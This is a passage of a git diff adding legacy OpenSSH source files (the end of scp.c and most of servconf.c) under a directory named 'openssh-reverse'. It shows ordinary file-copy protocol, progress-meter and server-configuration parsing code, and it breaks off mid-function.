(stb.st_mode & FILEMODEMASK), + (unsigned long) stb.st_size, + last); + if (verbose_mode) { + fprintf(stderr, "Sending file modes: %s", buf); + fflush(stderr); + } + (void) atomicio(write, remout, buf, strlen(buf)); + if (response() < 0) + goto next; + if ((bp = allocbuf(&buffer, fd, 2048)) == NULL) { +next: (void) close(fd); + continue; + } + if (showprogress) { + totalbytes = stb.st_size; + progressmeter(-1); + } + /* Keep writing after an error so that we stay sync'd up. */ + for (haderr = i = 0; i < stb.st_size; i += bp->cnt) { + amt = bp->cnt; + if (i + amt > stb.st_size) + amt = stb.st_size - i; + if (!haderr) { + result = atomicio(read, fd, bp->buf, amt); + if (result != amt) + haderr = result >= 0 ? EIO : errno; + } + if (haderr) + (void) atomicio(write, remout, bp->buf, amt); + else { + result = atomicio(write, remout, bp->buf, amt); + if (result != amt) + haderr = result >= 0 ? EIO : errno; + statbytes += result; + } + } + if (showprogress) + progressmeter(1); + + if (close(fd) < 0 && !haderr) + haderr = errno; + if (!haderr) + (void) atomicio(write, remout, "", 1); + else + run_err("%s: %s", name, strerror(haderr)); + (void) response(); + } +} + +void +rsource(name, statp) + char *name; + struct stat *statp; +{ + DIR *dirp; + struct dirent *dp; + char *last, *vect[1], path[1100]; + + if (!(dirp = opendir(name))) { + run_err("%s: %s", name, strerror(errno)); + return; + } + last = strrchr(name, '/'); + if (last == 0) + last = name; + else + last++; + if (pflag) { + (void) sprintf(path, "T%lu 0 %lu 0\n", + (unsigned long) statp->st_mtime, + (unsigned long) statp->st_atime); + (void) atomicio(write, remout, path, strlen(path)); + if (response() < 0) { + closedir(dirp); + return; + } + } + (void) sprintf(path, "D%04o %d %.1024s\n", + (unsigned int) (statp->st_mode & FILEMODEMASK), + 0, last); + if (verbose_mode) + fprintf(stderr, "Entering directory: %s", path); + (void) atomicio(write, remout, path, strlen(path)); + if (response() < 0) { + closedir(dirp); + return; + } + while ((dp = readdir(dirp))) { + if (dp->d_ino == 0) + continue; + if (!strcmp(dp->d_name, ".") || !strcmp(dp->d_name, "..")) + continue; + if (strlen(name) + 1 + strlen(dp->d_name) >= sizeof(path) - 1) { + run_err("%s/%s: name too long", name, dp->d_name); + continue; + } + (void) sprintf(path, "%s/%s", name, dp->d_name); + vect[0] = path; + source(1, vect); + } + (void) closedir(dirp); + (void) atomicio(write, remout, "E\n", 2); + (void) response(); +} + +void +sink(argc, argv) + int argc; + char *argv[]; +{ + static BUF buffer; + struct stat stb; + enum { + YES, NO, DISPLAYED + } wrerr; + BUF *bp; + off_t i, j; + int amt, count, exists, first, mask, mode, ofd, omode; + int setimes, size, targisdir, wrerrno = 0; + char ch, *cp, *np, *targ, *why, *vect[1], buf[2048]; + struct utimbuf ut; + int dummy_usec; + +#define SCREWUP(str) { why = str; goto screwup; } + + setimes = targisdir = 0; + mask = umask(0); + if (!pflag) + (void) umask(mask); + if (argc != 1) { + run_err("ambiguous target"); + exit(1); + } + targ = *argv; + if (targetshouldbedirectory) + verifydir(targ); + + (void) atomicio(write, remout, "", 1); + if (stat(targ, &stb) == 0 && S_ISDIR(stb.st_mode)) + targisdir = 1; + for (first = 1;; first = 0) { + cp = buf; + if (atomicio(read, remin, cp, 1) <= 0) + return; + if (*cp++ == '\n') + SCREWUP("unexpected "); + do { + if (atomicio(read, remin, &ch, sizeof(ch)) != sizeof(ch)) + SCREWUP("lost connection"); + *cp++ = ch; + } while (cp < &buf[sizeof(buf) - 1] && ch != '\n'); + *cp = 0; + + if (buf[0] == '\01' || buf[0] == '\02') { + if (iamremote == 0) + (void) atomicio(write, STDERR_FILENO, + buf + 1, strlen(buf + 1)); + if (buf[0] == '\02') + exit(1); + ++errs; + continue; + } + if (buf[0] == 'E') { + (void) atomicio(write, remout, "", 1); + return; + } + if (ch == '\n') + *--cp = 0; + +#define getnum(t) (t) = 0; \ + while (*cp >= '0' && *cp <= '9') (t) = (t) * 10 + (*cp++ - '0'); + cp = buf; + if (*cp == 'T') { + setimes++; + cp++; + getnum(ut.modtime); + if (*cp++ != ' ') + SCREWUP("mtime.sec not delimited"); + getnum(dummy_usec); + if (*cp++ != ' ') + SCREWUP("mtime.usec not delimited"); + getnum(ut.actime); + if (*cp++ != ' ') + SCREWUP("atime.sec not delimited"); + getnum(dummy_usec); + if (*cp++ != '\0') + SCREWUP("atime.usec not delimited"); + (void) atomicio(write, remout, "", 1); + continue; + } + if (*cp != 'C' && *cp != 'D') { + /* + * Check for the case "rcp remote:foo\* local:bar". + * In this case, the line "No match." can be returned + * by the shell before the rcp command on the remote is + * executed so the ^Aerror_message convention isn't + * followed. + */ + if (first) { + run_err("%s", cp); + exit(1); + } + SCREWUP("expected control record"); + } + mode = 0; + for (++cp; cp < buf + 5; cp++) { + if (*cp < '0' || *cp > '7') + SCREWUP("bad mode"); + mode = (mode << 3) | (*cp - '0'); + } + if (*cp++ != ' ') + SCREWUP("mode not delimited"); + + for (size = 0; *cp >= '0' && *cp <= '9';) + size = size * 10 + (*cp++ - '0'); + if (*cp++ != ' ') + SCREWUP("size not delimited"); + if (targisdir) { + static char *namebuf; + static int cursize; + size_t need; + + need = strlen(targ) + strlen(cp) + 250; + if (need > cursize) + namebuf = xmalloc(need); + (void) sprintf(namebuf, "%s%s%s", targ, + *targ ? "/" : "", cp); + np = namebuf; + } else + np = targ; + curfile = cp; + exists = stat(np, &stb) == 0; + if (buf[0] == 'D') { + int mod_flag = pflag; + if (exists) { + if (!S_ISDIR(stb.st_mode)) { + errno = ENOTDIR; + goto bad; + } + if (pflag) + (void) chmod(np, mode); + } else { + /* Handle copying from a read-only + directory */ + mod_flag = 1; + if (mkdir(np, mode | S_IRWXU) < 0) + goto bad; + } + vect[0] = np; + sink(1, vect); + if (setimes) { + setimes = 0; + if (utime(np, &ut) < 0) + run_err("%s: set times: %s", + np, strerror(errno)); + } + if (mod_flag) + (void) chmod(np, mode); + continue; + } + omode = mode; + mode |= S_IWRITE; + if ((ofd = open(np, O_WRONLY | O_CREAT | O_TRUNC, mode)) < 0) { +bad: run_err("%s: %s", np, strerror(errno)); + continue; + } + (void) atomicio(write, remout, "", 1); + if ((bp = allocbuf(&buffer, ofd, 4096)) == NULL) { + (void) close(ofd); + continue; + } + cp = bp->buf; + wrerr = NO; + + if (showprogress) { + totalbytes = size; + progressmeter(-1); + } + statbytes = 0; + for (count = i = 0; i < size; i += 4096) { + amt = 4096; + if (i + amt > size) + amt = size - i; + count += amt; + do { + j = atomicio(read, remin, cp, amt); + if (j <= 0) { + run_err("%s", j ? strerror(errno) : + "dropped connection"); + exit(1); + } + amt -= j; + cp += j; + statbytes += j; + } while (amt > 0); + if (count == bp->cnt) { + /* Keep reading so we stay sync'd up. */ + if (wrerr == NO) { + j = atomicio(write, ofd, bp->buf, count); + if (j != count) { + wrerr = YES; + wrerrno = j >= 0 ? EIO : errno; + } + } + count = 0; + cp = bp->buf; + } + } + if (showprogress) + progressmeter(1); + if (count != 0 && wrerr == NO && + (j = atomicio(write, ofd, bp->buf, count)) != count) { + wrerr = YES; + wrerrno = j >= 0 ? EIO : errno; + } +#if 0 + if (ftruncate(ofd, size)) { + run_err("%s: truncate: %s", np, strerror(errno)); + wrerr = DISPLAYED; + } +#endif + if (pflag) { + if (exists || omode != mode) + if (fchmod(ofd, omode)) + run_err("%s: set mode: %s", + np, strerror(errno)); + } else { + if (!exists && omode != mode) + if (fchmod(ofd, omode & ~mask)) + run_err("%s: set mode: %s", + np, strerror(errno)); + } + if (close(ofd) == -1) { + wrerr = YES; + wrerrno = errno; + } + (void) response(); + if (setimes && wrerr == NO) { + setimes = 0; + if (utime(np, &ut) < 0) { + run_err("%s: set times: %s", + np, strerror(errno)); + wrerr = DISPLAYED; + } + } + switch (wrerr) { + case YES: + run_err("%s: %s", np, strerror(wrerrno)); + break; + case NO: + (void) atomicio(write, remout, "", 1); + break; + case DISPLAYED: + break; + } + } +screwup: + run_err("protocol error: %s", why); + exit(1); +} + +int +response() +{ + char ch, *cp, resp, rbuf[2048]; + + if (atomicio(read, remin, &resp, sizeof(resp)) != sizeof(resp)) + lostconn(0); + + cp = rbuf; + switch (resp) { + case 0: /* ok */ + return (0); + default: + *cp++ = resp; + /* FALLTHROUGH */ + case 1: /* error, followed by error msg */ + case 2: /* fatal error, "" */ + do { + if (atomicio(read, remin, &ch, sizeof(ch)) != sizeof(ch)) + lostconn(0); + *cp++ = ch; + } while (cp < &rbuf[sizeof(rbuf) - 1] && ch != '\n'); + + if (!iamremote) + (void) atomicio(write, STDERR_FILENO, rbuf, cp - rbuf); + ++errs; + if (resp == 1) + return (-1); + exit(1); + } + /* NOTREACHED */ +} + +void +usage() +{ + (void) fprintf(stderr, + "usage: scp [-pqrvC46] [-P port] [-c cipher] [-i identity] f1 f2; or:\n scp [options] f1 ... fn directory\n"); + exit(1); +} + +void +run_err(const char *fmt,...) +{ + static FILE *fp; + va_list ap; + + ++errs; + if (fp == NULL && !(fp = fdopen(remout, "w"))) + return; + (void) fprintf(fp, "%c", 0x01); + (void) fprintf(fp, "scp: "); + va_start(ap, fmt); + (void) vfprintf(fp, fmt, ap); + va_end(ap); + (void) fprintf(fp, "\n"); + (void) fflush(fp); + + if (!iamremote) { + va_start(ap, fmt); + vfprintf(stderr, fmt, ap); + va_end(ap); + fprintf(stderr, "\n"); + } +} + +/* Stuff below is from BSD rcp util.c. */ + +/*- + * Copyright (c) 1992, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $OpenBSD: scp.c,v 1.33 2000/07/13 23:19:31 provos Exp $ + */ + +char * +colon(cp) + char *cp; +{ + int flag = 0; + + if (*cp == ':') /* Leading colon is part of file name. */ + return (0); + if (*cp == '[') + flag = 1; + + for (; *cp; ++cp) { + if (*cp == '@' && *(cp+1) == '[') + flag = 1; + if (*cp == ']' && *(cp+1) == ':' && flag) + return (cp+1); + if (*cp == ':' && !flag) + return (cp); + if (*cp == '/') + return (0); + } + return (0); +} + +void +verifydir(cp) + char *cp; +{ + struct stat stb; + + if (!stat(cp, &stb)) { + if (S_ISDIR(stb.st_mode)) + return; + errno = ENOTDIR; + } + run_err("%s: %s", cp, strerror(errno)); + exit(1); +} + +int +okname(cp0) + char *cp0; +{ + int c; + char *cp; + + cp = cp0; + do { + c = *cp; + if (c & 0200) + goto bad; + if (!isalpha(c) && !isdigit(c) && c != '_' && c != '-') + goto bad; + } while (*++cp); + return (1); + +bad: fprintf(stderr, "%s: invalid user name\n", cp0); + return (0); +} + +BUF * +allocbuf(bp, fd, blksize) + BUF *bp; + int fd, blksize; +{ + size_t size; + struct stat stb; + + if (fstat(fd, &stb) < 0) { + run_err("fstat: %s", strerror(errno)); + return (0); + } + if (stb.st_blksize == 0) + size = blksize; + else + size = blksize + (stb.st_blksize - blksize % stb.st_blksize) % + stb.st_blksize; + if (bp->cnt >= size) + return (bp); + if (bp->buf == NULL) + bp->buf = xmalloc(size); + else + bp->buf = xrealloc(bp->buf, size); + bp->cnt = size; + return (bp); +} + +void +lostconn(signo) + int signo; +{ + if (!iamremote) + fprintf(stderr, "lost connection\n"); + exit(1); +} + + +void +alarmtimer(int wait) +{ + struct itimerval itv; + + itv.it_value.tv_sec = wait; + itv.it_value.tv_usec = 0; + itv.it_interval = itv.it_value; + setitimer(ITIMER_REAL, &itv, NULL); +} + +void +updateprogressmeter(int ignore) +{ + int save_errno = errno; + + progressmeter(0); + errno = save_errno; +} + +int +foregroundproc() +{ + static pid_t pgrp = -1; + int ctty_pgrp; + + if (pgrp == -1) + pgrp = getpgrp(); + + return ((ioctl(STDOUT_FILENO, TIOCGPGRP, &ctty_pgrp) != -1 && + ctty_pgrp == pgrp)); +} + +void +progressmeter(int flag) +{ + static const char prefixes[] = " KMGTP"; + static struct timeval lastupdate; + static off_t lastsize; + struct timeval now, td, wait; + off_t cursize, abbrevsize; + double elapsed; + int ratio, barlength, i, remaining; + char buf[256]; + + if (flag == -1) { + (void) gettimeofday(&start, (struct timezone *) 0); + lastupdate = start; + lastsize = 0; + } + if (foregroundproc() == 0) + return; + + (void) gettimeofday(&now, (struct timezone *) 0); + cursize = statbytes; + if (totalbytes != 0) { + ratio = 100.0 * cursize / totalbytes; + ratio = MAX(ratio, 0); + ratio = MIN(ratio, 100); + } else + ratio = 100; + + snprintf(buf, sizeof(buf), "\r%-20.20s %3d%% ", curfile, ratio); + + barlength = getttywidth() - 51; + barlength = (barlength <= MAX_BARLENGTH)?barlength:MAX_BARLENGTH; + if (barlength > 0) { + i = barlength * ratio / 100; + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + "|%.*s%*s|", i, BAR, barlength - i, ""); + } + i = 0; + abbrevsize = cursize; + while (abbrevsize >= 100000 && i < sizeof(prefixes)) { + i++; + abbrevsize >>= 10; + } + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), " %5d %c%c ", + (int) abbrevsize, prefixes[i], prefixes[i] == ' ' ? ' ' : + 'B'); + + timersub(&now, &lastupdate, &wait); + if (cursize > lastsize) { + lastupdate = now; + lastsize = cursize; + if (wait.tv_sec >= STALLTIME) { + start.tv_sec += wait.tv_sec; + start.tv_usec += wait.tv_usec; + } + wait.tv_sec = 0; + } + timersub(&now, &start, &td); + elapsed = td.tv_sec + (td.tv_usec / 1000000.0); + + if (statbytes <= 0 || elapsed <= 0.0 || cursize > totalbytes) { + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + " --:-- ETA"); + } else if (wait.tv_sec >= STALLTIME) { + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + " - stalled -"); + } else { + if (flag != 1) + remaining = + (int)(totalbytes / (statbytes / elapsed) - elapsed); + else + remaining = elapsed; + + i = remaining / 3600; + if (i) + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + "%2d:", i); + else + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + " "); + i = remaining % 3600; + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + "%02d:%02d%s", i / 60, i % 60, + (flag != 1) ? " ETA" : " "); + } + atomicio(write, fileno(stdout), buf, strlen(buf)); + + if (flag == -1) { + struct sigaction sa; + sa.sa_handler = updateprogressmeter; + sigemptyset(&sa.sa_mask); +#ifdef SA_RESTART + sa.sa_flags = SA_RESTART; +#endif + sigaction(SIGALRM, &sa, NULL); + alarmtimer(1); + } else if (flag == 1) { + alarmtimer(0); + atomicio(write, fileno(stdout), "\n", 1); + statbytes = 0; + } +} + +int +getttywidth(void) +{ + struct winsize winsize; + + if (ioctl(fileno(stdout), TIOCGWINSZ, &winsize) != -1) + return (winsize.ws_col ? winsize.ws_col : 80); + else + return (80); +} diff --git a/other/openssh-reverse/servconf.c b/other/openssh-reverse/servconf.c new file mode 100644 index 0000000..477204c --- /dev/null +++ b/other/openssh-reverse/servconf.c @@ -0,0 +1,668 @@ +/* + * + * servconf.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Aug 21 15:48:58 1995 ylo + * + */ + +#include "includes.h" +RCSID("$OpenBSD: servconf.c,v 1.49 2000/07/14 22:59:46 markus Exp $"); + +#include "ssh.h" +#include "servconf.h" +#include "xmalloc.h" +#include "compat.h" + +/* add listen address */ +void add_listen_addr(ServerOptions *options, char *addr); + +/* Initializes the server options to their default values. */ + +void +initialize_server_options(ServerOptions *options) +{ + memset(options, 0, sizeof(*options)); + options->num_ports = 0; + options->ports_from_cmdline = 0; + options->listen_addrs = NULL; + options->host_key_file = NULL; + options->host_dsa_key_file = NULL; + options->pid_file = NULL; + options->server_key_bits = -1; + options->login_grace_time = -1; + options->key_regeneration_time = -1; + options->permit_root_login = -1; + options->ignore_rhosts = -1; + options->ignore_user_known_hosts = -1; + options->print_motd = -1; + options->check_mail = -1; + options->x11_forwarding = -1; + options->x11_display_offset = -1; + options->xauth_location = NULL; + options->strict_modes = -1; + options->keepalives = -1; + options->log_facility = (SyslogFacility) - 1; + options->log_level = (LogLevel) - 1; + options->rhosts_authentication = -1; + options->rhosts_rsa_authentication = -1; + options->rsa_authentication = -1; + options->dsa_authentication = -1; +#ifdef KRB4 + options->kerberos_authentication = -1; + options->kerberos_or_local_passwd = -1; + options->kerberos_ticket_cleanup = -1; +#endif +#ifdef AFS + options->kerberos_tgt_passing = -1; + options->afs_token_passing = -1; +#endif + options->password_authentication = -1; +#ifdef SKEY + options->skey_authentication = -1; +#endif + options->permit_empty_passwd = -1; + options->use_login = -1; + options->num_allow_users = 0; + options->num_deny_users = 0; + options->num_allow_groups = 0; + options->num_deny_groups = 0; + options->ciphers = NULL; + options->protocol = SSH_PROTO_UNKNOWN; + options->gateway_ports = -1; + options->num_subsystems = 0; + options->max_startups = -1; +} + +void +fill_default_server_options(ServerOptions *options) +{ + if (options->num_ports == 0) + options->ports[options->num_ports++] = SSH_DEFAULT_PORT; + if (options->listen_addrs == NULL) + add_listen_addr(options, NULL); + if (options->host_key_file == NULL) + options->host_key_file = HOST_KEY_FILE; + if (options->host_dsa_key_file == NULL) + options->host_dsa_key_file = HOST_DSA_KEY_FILE; + if (options->pid_file == NULL) + options->pid_file = SSH_DAEMON_PID_FILE; + if (options->server_key_bits == -1) + options->server_key_bits = 768; + if (options->login_grace_time == -1) + options->login_grace_time = 600; + if (options->key_regeneration_time == -1) + options->key_regeneration_time = 3600; + if (options->permit_root_login == -1) + options->permit_root_login = 1; /* yes */ + if (options->ignore_rhosts == -1) + options->ignore_rhosts = 1; + if (options->ignore_user_known_hosts == -1) + options->ignore_user_known_hosts = 0; + if (options->check_mail == -1) + options->check_mail = 0; + if (options->print_motd == -1) + options->print_motd = 1; + if (options->x11_forwarding == -1) + options->x11_forwarding = 0; + if (options->x11_display_offset == -1) + options->x11_display_offset = 10; +#ifdef XAUTH_PATH + if (options->xauth_location == NULL) + options->xauth_location = XAUTH_PATH; +#endif /* XAUTH_PATH */ + if (options->strict_modes == -1) + options->strict_modes = 1; + if (options->keepalives == -1) + options->keepalives = 1; + if (options->log_facility == (SyslogFacility) (-1)) + options->log_facility = SYSLOG_FACILITY_AUTH; + if (options->log_level == (LogLevel) (-1)) + options->log_level = SYSLOG_LEVEL_INFO; + if (options->rhosts_authentication == -1) + options->rhosts_authentication = 0; + if (options->rhosts_rsa_authentication == -1) + options->rhosts_rsa_authentication = 0; + if (options->rsa_authentication == -1) + options->rsa_authentication = 1; + if (options->dsa_authentication == -1) + options->dsa_authentication = 1; +#ifdef KRB4 + if (options->kerberos_authentication == -1) + options->kerberos_authentication = (access(KEYFILE, R_OK) == 0); + if (options->kerberos_or_local_passwd == -1) + options->kerberos_or_local_passwd = 1; + if (options->kerberos_ticket_cleanup == -1) + options->kerberos_ticket_cleanup = 1; +#endif /* KRB4 */ +#ifdef AFS + if (options->kerberos_tgt_passing == -1) + options->kerberos_tgt_passing = 0; + if (options->afs_token_passing == -1) + options->afs_token_passing = k_hasafs(); +#endif /* AFS */ + if (options->password_authentication == -1) + options->password_authentication = 1; +#ifdef SKEY + if (options->skey_authentication == -1) + options->skey_authentication = 1; +#endif + if (options->permit_empty_passwd == -1) + options->permit_empty_passwd = 0; + if (options->use_login == -1) + options->use_login = 0; + if (options->protocol == SSH_PROTO_UNKNOWN) + options->protocol = SSH_PROTO_1|SSH_PROTO_2; + if (options->gateway_ports == -1) + options->gateway_ports = 0; + if (options->max_startups == -1) + options->max_startups = 10; +} + +/* Keyword tokens. */ +typedef enum { + sBadOption, /* == unknown option */ + sPort, sHostKeyFile, sServerKeyBits, sLoginGraceTime, sKeyRegenerationTime, + sPermitRootLogin, sLogFacility, sLogLevel, + sRhostsAuthentication, sRhostsRSAAuthentication, sRSAAuthentication, +#ifdef KRB4 + sKerberosAuthentication, sKerberosOrLocalPasswd, sKerberosTicketCleanup, +#endif +#ifdef AFS + sKerberosTgtPassing, sAFSTokenPassing, +#endif +#ifdef SKEY + sSkeyAuthentication, +#endif + sPasswordAuthentication, sListenAddress, + sPrintMotd, sIgnoreRhosts, sX11Forwarding, sX11DisplayOffset, + sStrictModes, sEmptyPasswd, sRandomSeedFile, sKeepAlives, sCheckMail, + sUseLogin, sAllowUsers, sDenyUsers, sAllowGroups, sDenyGroups, + sIgnoreUserKnownHosts, sHostDSAKeyFile, sCiphers, sProtocol, sPidFile, + sGatewayPorts, sDSAAuthentication, sXAuthLocation, sSubsystem, sMaxStartups +} ServerOpCodes; + +/* Textual representation of the tokens. */ +static struct { + const char *name; + ServerOpCodes opcode; +} keywords[] = { + { "port", sPort }, + { "hostkey", sHostKeyFile }, + { "hostdsakey", sHostDSAKeyFile }, + { "pidfile", sPidFile }, + { "serverkeybits", sServerKeyBits }, + { "logingracetime", sLoginGraceTime }, + { "keyregenerationinterval", sKeyRegenerationTime }, + { "permitrootlogin", sPermitRootLogin }, + { "syslogfacility", sLogFacility }, + { "loglevel", sLogLevel }, + { "rhostsauthentication", sRhostsAuthentication }, + { "rhostsrsaauthentication", sRhostsRSAAuthentication }, + { "rsaauthentication", sRSAAuthentication }, + { "dsaauthentication", sDSAAuthentication }, +#ifdef KRB4 + { "kerberosauthentication", sKerberosAuthentication }, + { "kerberosorlocalpasswd", sKerberosOrLocalPasswd }, + { "kerberosticketcleanup", sKerberosTicketCleanup }, +#endif +#ifdef AFS + { "kerberostgtpassing", sKerberosTgtPassing }, + { "afstokenpassing", sAFSTokenPassing }, +#endif + { "passwordauthentication", sPasswordAuthentication }, +#ifdef SKEY + { "skeyauthentication", sSkeyAuthentication }, +#endif + { "checkmail", sCheckMail }, + { "listenaddress", sListenAddress }, + { "printmotd", sPrintMotd }, + { "ignorerhosts", sIgnoreRhosts }, + { "ignoreuserknownhosts", sIgnoreUserKnownHosts }, + { "x11forwarding", sX11Forwarding }, + { "x11displayoffset", sX11DisplayOffset }, + { "xauthlocation", sXAuthLocation }, + { "strictmodes", sStrictModes }, + { "permitemptypasswords", sEmptyPasswd }, + { "uselogin", sUseLogin }, + { "randomseed", sRandomSeedFile }, + { "keepalive", sKeepAlives }, + { "allowusers", sAllowUsers }, + { "denyusers", sDenyUsers }, + { "allowgroups", sAllowGroups }, + { "denygroups", sDenyGroups }, + { "ciphers", sCiphers }, + { "protocol", sProtocol }, + { "gatewayports", sGatewayPorts }, + { "subsystem", sSubsystem }, + { "maxstartups", sMaxStartups }, + { NULL, 0 } +}; + +/* + * Returns the number of the token pointed to by cp of length len. Never + * returns if the token is not known. + */ + +static ServerOpCodes +parse_token(const char *cp, const char *filename, + int linenum) +{ + unsigned int i; + + for (i = 0; keywords[i].name; i++) + if (strcasecmp(cp, keywords[i].name) == 0) + return keywords[i].opcode; + + fprintf(stderr, "%s: line %d: Bad configuration option: %s\n", + filename, linenum, cp); + return sBadOption; +} + +/* + * add listen address + */ +void +add_listen_addr(ServerOptions *options, char *addr) +{ + extern int IPv4or6; + struct addrinfo hints, *ai, *aitop; + char strport[NI_MAXSERV]; + int gaierr; + int i; + + if (options->num_ports == 0) + options->ports[options->num_ports++] = SSH_DEFAULT_PORT; + for (i = 0; i < options->num_ports; i++) { + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + hints.ai_flags = (addr == NULL) ? AI_PASSIVE : 0; + snprintf(strport, sizeof strport, "%d", options->ports[i]); + if ((gaierr = getaddrinfo(addr, strport, &hints, &aitop)) != 0) + fatal("bad addr or host: %s (%s)\n", + addr ? addr : "", + gai_strerror(gaierr)); + for (ai = aitop; ai->ai_next; ai = ai->ai_next) + ; + ai->ai_next = options->listen_addrs; + options->listen_addrs = aitop; + } +} + +/* Reads the server configuration file. */ + +void +read_server_config(ServerOptions *options, const char *filename) +{ + FILE *f; + char line[1024]; + char *cp, **charptr, *arg; + int linenum, *intptr, value; + int bad_options = 0; + ServerOpCodes opcode; + int i; + + f = fopen(filename, "r"); + if (!f) { + perror(filename); + exit(1); + } + linenum = 0; + while (fgets(line, sizeof(line), f)) { + linenum++; + cp = line; + arg = strdelim(&cp); + /* Ignore leading whitespace */ + if (*arg == '\0') + arg = strdelim(&cp); + if (!*arg || *arg == '#') + continue; + opcode = parse_token(arg, filename, linenum); + switch (opcode) { + case sBadOption: + bad_options++; + continue; + case sPort: + /* ignore ports from configfile if cmdline specifies ports */ + if (options->ports_from_cmdline) + continue; + if (options->listen_addrs != NULL) + fatal("%s line %d: ports must be specified before " + "ListenAdress.\n", filename, linenum); + if (options->num_ports >= MAX_PORTS) + fatal("%s line %d: too many ports.\n", + filename, linenum); + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: missing port number.\n", + filename, linenum); + options->ports[options->num_ports++] = atoi(arg); + break; + + case sServerKeyBits: + intptr = &options->server_key_bits; +parse_int: + arg = strdelim(&cp); + if (!arg || *arg == '\0') { + fprintf(stderr, "%s line %d: missing integer value.\n", + filename, linenum); + exit(1); + } + value = atoi(arg); + if (*intptr == -1) + *intptr = value; + break; + + case sLoginGraceTime: + intptr = &options->login_grace_time; + goto parse_int; + + case sKeyRegenerationTime: + intptr = &options->key_regeneration_time; + goto parse_int; + + case sListenAddress: + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: missing inet addr.\n", + filename, linenum); + add_listen_addr(options, arg); + break; + + case sHostKeyFile: + case sHostDSAKeyFile: + charptr = (opcode == sHostKeyFile ) ? + &options->host_key_file : &options->host_dsa_key_file; +parse_filename: + arg = strdelim(&cp); + if (!arg || *arg == '\0') { + fprintf(stderr, "%s line %d: missing file name.\n", + filename, linenum); + exit(1); + } + if (*charptr == NULL) + *charptr = tilde_expand_filename(arg, getuid()); + break; + + case sPidFile: + charptr = &options->pid_file; + goto parse_filename; + + case sRandomSeedFile: + fprintf(stderr, "%s line %d: \"randomseed\" option is obsolete.\n", + filename, linenum); + arg = strdelim(&cp); + break; + + case sPermitRootLogin: + intptr = &options->permit_root_login; + arg = strdelim(&cp); + if (!arg || *arg == '\0') { + fprintf(stderr, "%s line %d: missing yes/without-password/no argument.\n", + filename, linenum); + exit(1); + } + if (strcmp(arg, "without-password") == 0) + value = 2; + else if (strcmp(arg, "yes") == 0) + value = 1; + else if (strcmp(arg, "no") == 0) + value = 0; + else { + fprintf(stderr, "%s line %d: Bad yes/without-password/no argument: %s\n", + filename, linenum, arg); + exit(1); + } + if (*intptr == -1) + *intptr = value; + break; + + case sIgnoreRhosts: + intptr = &options->ignore_rhosts; +parse_flag: + arg = strdelim(&cp); + if (!arg || *arg == '\0') { + fprintf(stderr, "%s line %d: missing yes/no argument.\n", + filename, linenum); + exit(1); + } + if (strcmp(arg, "yes") == 0) + value = 1; + else if (strcmp(arg, "no") == 0) + value = 0; + else { + fprintf(stderr, "%s line %d: Bad yes/no argument: %s\n", + filename, linenum, arg); + exit(1); + } + if (*intptr == -1) + *intptr = value; + break; + + case sIgnoreUserKnownHosts: + intptr = &options->ignore_user_known_hosts; + goto parse_flag; + + case sRhostsAuthentication: + intptr = &options->rhosts_authentication; + goto parse_flag; + + case sRhostsRSAAuthentication: + intptr = &options->rhosts_rsa_authentication; + goto parse_flag; + + case sRSAAuthentication: + intptr = &options->rsa_authentication; + goto parse_flag; + + case sDSAAuthentication: + intptr = &options->dsa_authentication; + goto parse_flag; + +#ifdef KRB4 + case sKerberosAuthentication: + intptr = &options->kerberos_authentication; + goto parse_flag; + + case sKerberosOrLocalPasswd: + intptr = &options->kerberos_or_local_passwd; + goto parse_flag; + + case sKerberosTicketCleanup: + intptr = &options->kerberos_ticket_cleanup; + goto parse_flag; +#endif + +#ifdef AFS + case sKerberosTgtPassing: + intptr = &options->kerberos_tgt_passing; + goto parse_flag; + + case sAFSTokenPassing: + intptr = &options->afs_token_passing; + goto parse_flag; +#endif + + case sPasswordAuthentication: + intptr = &options->password_authentication; + goto parse_flag; + + case sCheckMail: + intptr = &options->check_mail; + goto parse_flag; + +#ifdef SKEY + case sSkeyAuthentication: + intptr = &options->skey_authentication; + goto parse_flag; +#endif + + case sPrintMotd: + intptr = &options->print_motd; + goto parse_flag; + + case sX11Forwarding: + intptr = &options->x11_forwarding; + goto parse_flag; + + case sX11DisplayOffset: + intptr = &options->x11_display_offset; + goto parse_int; + + case 